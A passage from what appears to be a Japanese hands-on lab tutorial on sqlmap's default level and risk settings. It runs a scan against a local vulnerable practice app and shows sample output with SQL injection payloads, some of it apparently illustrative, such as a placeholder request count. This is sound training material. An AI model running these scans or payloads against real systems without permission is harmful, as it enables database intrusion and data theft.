デフォルトのレベル (1) とリスク (1) を理解する
このステップでは、level または risk を指定せずに基本的な sqlmap スキャンを実行します。デフォルトでは、sqlmap は --level=1 と --risk=1 を使用します。これは最も網羅性が低く、最も安全なスキャンです。
Level 1 は GET および POST パラメータのみをテストします。Risk 1 は、基本的なブールベースおよびエラーベースのインジェクションテストなど、Web アプリケーションに一般的に無害なペイロードを使用します。
あなたのためにセットアップされた脆弱なアプリケーションに対して、デフォルトのスキャンを実行しましょう。--batch オプションは、すべての質問にデフォルトの選択肢で自動的に回答するため、スキャンは非対話的になります。
ターミナルで次のコマンドを実行してください。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch
sqlmap がテストプロセスを開始するのを確認できます。最後に表示されるサマリーに注目してください。これは、実行されたリクエスト数と検出された脆弱性を示しています。
...
[INFO] testing 'Boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'Error-based - WHERE or HAVING clause'
[INFO] testing 'Time-based blind'
...
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of XXX HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2129=2129
Type: error-based
Title: SQLite OR error-based - CUME_DIST
Payload: id=1 OR 1 GROUP BY CUME_DIST(1)
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind
Payload: id=1 AND 7415=CASE WHEN (substr(sqli,1,1)='S') THEN 7415 ELSE 0 END
---
[INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'
...
この最初のスキャンは比較的迅速であり、id パラメータの脆弱性を確認します。